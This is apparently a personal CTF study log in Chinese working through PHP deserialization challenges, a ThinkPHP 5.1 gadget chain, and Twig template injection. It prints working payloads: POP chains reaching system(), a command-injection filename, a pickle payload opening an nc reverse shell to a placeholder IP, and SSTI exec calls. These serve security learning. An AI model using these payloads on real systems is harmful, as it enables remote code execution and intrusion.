0128学习记录

UNSERIALIZE4

*魔术方法的调用
<?php
class test{
    public $peguin;
    public $source;
    public $file
    public function __construct($file){
        $this->source = $file;
        echo 'welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->peguin->close();
    }
    public function __wakeup(){
        if(preg_match('/http|file|data|dict|\.\./i',$this->source)){
            echo "hacker!";
            $this->source = "index.php";
        }
    }
}
class good{
    public $joker;
    public function __call($name,$param){
        system($this->joker);
    }
}
?>

0x01:先验知识

__call() 当所调用的成员方法不存在(或者没有权限)该类时调用,用于对错误后做一些操作或者提示信息
__call() //在对象上下文中调用不可访问的方法时触发
__wakeup()函数 该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作 (这题要绕过这个魔术方法

0x02:代码审计

 #
	public function __construct($file){
        $this->source = $file;
        echo 'welcome to '.$this->source."<br>";
    }
#当用到__toString魔术方法的时候会调用close方法,但是close方法并没有定义,或者是被没有权限调用,这个时候就会自动调用__call魔术方法,实现命令执行	
	public function __toString(){
        return $this->peguin->close();
    }
#这样就要求$this->source必须是字符串
    public function __wakeup(){
        if(preg_match('/http|file|data|dict|\.\./i',$this->source)){
            echo "hacker!";
            $this->source = "index.php";
        }
    }
    public function __call($name,$param){
        system($this->joker);
    }
#wakeup魔术方法有漏洞
public function __wakeup(){
        if(preg_match('/http|file|data|dict|\.\./i',$this->source)){
            echo "hacker!";
            $this->source = "index.php";
        }
    }

0x03:解题

分析完代码之后的答题思路:

1.peguin=new good();  
2.$this->source是字符串 然后调用__toString 返回没有定义的close() 
3.调用了__call 执行system
wakeup在反序列化之前立即调用

而在调用这个函数的时候,如果source是一个字符串就会进行正则匹配,但如果source是一个类,则会先去找到source指向的类,php会先去寻找这个类中的__toString这个方法,那么就可以把source指向test类,执行test里面的方法

但是source又是字符串所以可以

$source=new test('');

因为之前在source这个点上卡住了,没想到指向类test再寻找toString方法,想着直接让source是字符串了 感谢姜少的poc

姜少的poc:

<?php
class test{
    public $peguin;
    public $source;
    public function __construct($file){
        $this->source =$file;
		$this->peguin = new good();
    }
}
class good{
    public $joker;
    public function __construct(){
		$this->joker = 'tac flag.php';
	}
}
$a = new test(new test(''));
echo urlencode(serialize($a));
?>

看了姜少的poc之后才想起来做过类似的题目

[MRCTF]ezpop

CTFSHOW-反序列化

web264

*字符串逃逸
*序列化和session
error_reporting(0);
session_start();
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}
highlight_file(__FILE__);

message.php

session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

0x01:代码审计

根据message.php可知需要将token等于admin

if($msg->token=='admin'){
        echo $flag;
    }

index.php中存在

$umsg = str_replace('fuck', 'loveU', serialize($msg));

在字符串替换的时候出现字符串变长的情况,所以出现了字符串逃逸的漏洞

0x02:解题

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

因为还有

if(isset($_COOKIE['msg']))

所以还要cookie随便传一个msg,再访问message.php就可以了

web265

*地址相同
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;
    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
    echo $flag;
}

0x01:代码审计

public function login(){
        return $this->token===$this->password;
    }

$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
    echo $flag;
}

重点在于这几行代码,要求token===password成立,但是token后来有等于随机数,以为源码中没有mt_srand()函数的出现,所以不是伪随机数,那么这么时候可以让password的地址等于token,这样的就会让等式永真

0x02:解题

poc:

<?php
class ctfshowAdmin{
    public $token;
    public $password;
}
$a=new ctfshowAdmin();
$a->password=&$a->token;
echo serialize($a);
//O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}

得到flag

web266

源码:

highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

0x01:代码审计

//可以抓包
$cs = file_get_contents('php://input');

PHP输入流php://input介绍

`php://input`是个可以访问请求的原始数据的只读流。`enctype="multipart/form-data"` 的时候 php://input 是无效的。 
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}
当异常被抛出时,其后的代码不会继续执行,PHP 会尝试查找匹配的 "catch" 代码块。

如果异常没有被捕获,而且又没用使用 set_exception_handler() 作相应的处理的话,那么将发生一个严重的错误(致命错误),并且输出 "Uncaught Exception" (未捕获异常)的错误消息。

Try, throw 和 catch(通常跑出错误,一般会跟try catch配合使用)

所以如果正则匹配到的话,__destruct魔术方法就不会被调用

但是发现正则只是preg_match('/ctfshow/', $cs),对大小写是敏感的,所以只要将ctfshow大写就可以绕过正则了

0x02:解题

poc:

class ctfshow{
    
}
$a=new ctfshow();
echo serialize($a);
//O:7:"CTFSHOW":0:{}

?web274

*thinkphp5

thinkphp5.1.x~5.2.x版本反序列化链挖掘分析

(等看懂了再记录自己的理解

poc:

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
?lin=cat /f*
&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19

web275

源码:

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}
if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

0x01:代码审计

#post 
$content = file_get_contents('php://input');
#对象被销毁的时候调用,只要使得$this->evilfile为true就行了
#fn传执行的命令
public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
#只要有一个满足就行了,但是因为filename是要执行的命令,所以filecontent要满足

0x02:解题

?fn=;tac flag.php
content=flag

web277

*python反序列化漏洞

K0rz3n

python反序列化漏洞:

原因:

利用:


<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->

大佬的payload:

import pickle
import base64
class A(object):
	def __reduce__(self):
		return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 4567 -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))

[NPUCTF2020]ReadlezPHP

*反序列化

view-source之后发现

那么就直接访问/time.php?source

得到php源码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;
echo serialize($c);
if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}
@$ppp = unserialize($_GET["data"]);

代码审计:

#当对象被销毁的时候会执行 $b($a)
#由此我们可知$b会是一个函数
#$a是我们要执行的代码
public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }

poc:

<?php
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "phpinfo()";
        $this->b = "assert";
    }
}
$c = new HelloPhp;
echo serialize($c);
//O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

payload:

?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

ctrl+f搜索flag即可找到flag

[BJDCTF]Cookie is so stable

*模板注入–Twig

参考:

一篇文章带你理解漏洞之SSTI漏洞

https://www.cnblogs.com/wangtanzhi/p/12330542.html

https://www.cnblogs.com/wkzb/p/12422190.html

https://blog.csdn.net/qq_41628669/article/details/106133130

https://www.cnblogs.com/zzjdbk/p/13049923.html
搬运模板注入过程:

Twig 
{{7*'7'}}  #输出49
Jinja
{{7*'7'}}  #输出7777777


测试:
在这里插入图片描述
在这里插入图片描述
所以可以确定是Twig模板注入

在 Twig 模板引擎里,{{ var }}  除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值
Twig 模板引擎在编译模板的过程中会计算 {{2*10}}  中的表达式 2*10 ,会将其返回值 20
相比于 Smarty ,Twig 无法调用静态方法,并且所有函数的返回值都转换为字符串,也就是我们不能使用 self:: 调用静态变量了,但是Twig 给我们提供了一个 _self, 虽然 _self 本身没有什么有用的方法,但是却有一个 env
env是指属性Twig_Environment对象,Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置(不知道为什么官方文档没有看到这个方法,后来我找到了Twig 的源码中的 environment.php

根据hint
在这里插入图片描述
说明注入点再cookie,进行抓包
payload1:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

在这里插入图片描述
payload2:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值